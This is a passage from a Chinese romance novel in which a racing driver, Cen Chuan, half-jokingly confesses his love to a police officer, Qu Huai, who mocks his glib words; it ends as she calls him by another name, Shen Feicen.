“我没跟你开玩笑警官,”他笑得上气不接下气,带着泪意说话,“我干赛车所以对速度飙升习以为常。我在国外待的时间长,什么军火都见过,比国内烟花还频繁,所以我对炸弹也有点脱敏。” “虽然我超级想......”岑川用两根手指在空中走路,骨节一凸一凹到她面前,他接着说,“但也不想带嫌疑,准确来说是别的嫌疑。我保证,我对你只带生理层面的不轨企图。” 曲淮听见这句话,站定。 岑川下意识跟着止步,然后就见她若有所思,蓦地问: “浑话说起来很爽吗?” 岑川:“什么——” 曲淮:“辜负人丧良心不怕遭报应?” 岑川:“不是——” 曲淮:“你的喜欢张口就来,真心像是烂大街的传单,”她偏头看他,“很舒服吗?” 空气让人难以呼吸。 岑川耳边是自己的剧烈心跳声。 他胸腔发涩,不能表现。 “警官,你好傲慢啊。”咽下难言,他黑眸有恰到好处的挪揄,“退一万步讲,你又不会信我,我骗不到你头上的,过过嘴瘾不行吗?你这么说我,我很难过。” 岑川嗓音含糊:“而且我对你的感情是真的。” 曲淮心道真没救了。 他看向远处此起彼伏的山:“我对你一见钟情,虽然吧我知道没可能,但感情这东西谁能制止了?谁能控制住?我也很无力。一看见你我就情难自抑了,酒店那一眼......” 曲淮心道这是被戳穿发疯了。 “......我感觉我这么多年想的人都是你,模糊的影子具象化威力太大,我好像不太能扛得住,几次我都有想,哪怕我是拯救世界的超人也要不顾一切对你穷追猛打一把,可惜你不信我,我又不能不顾你。” 岑川嘴上扯着,调侃的笑固定在表相。他像窥视般扫着余光中的她,又在被发现前收回。伪装十多年的平缓被狠狠撕开,心脏被他的灵魂伸手攥住,本意是不想让它狂暴跳动,却折腾得更闷,挣扎更剧烈。 他听见曲淮嘲了声。 “你还说你没做过呢,”她评价,“嘴硬的、被烤的。” 死鸭子。 岑川做出副觉得好笑的表情,刚要开口,远处有人叫曲淮,问要不要一起回。 曲淮先对他说:“行了,你也走吧。” 是得走了。 岑川:“听你的,警官。” 他想他若有似无的嘴角还是扬起的,身转得一定也很潇洒。 没走几步。 “沈非岑。” 她在叫他。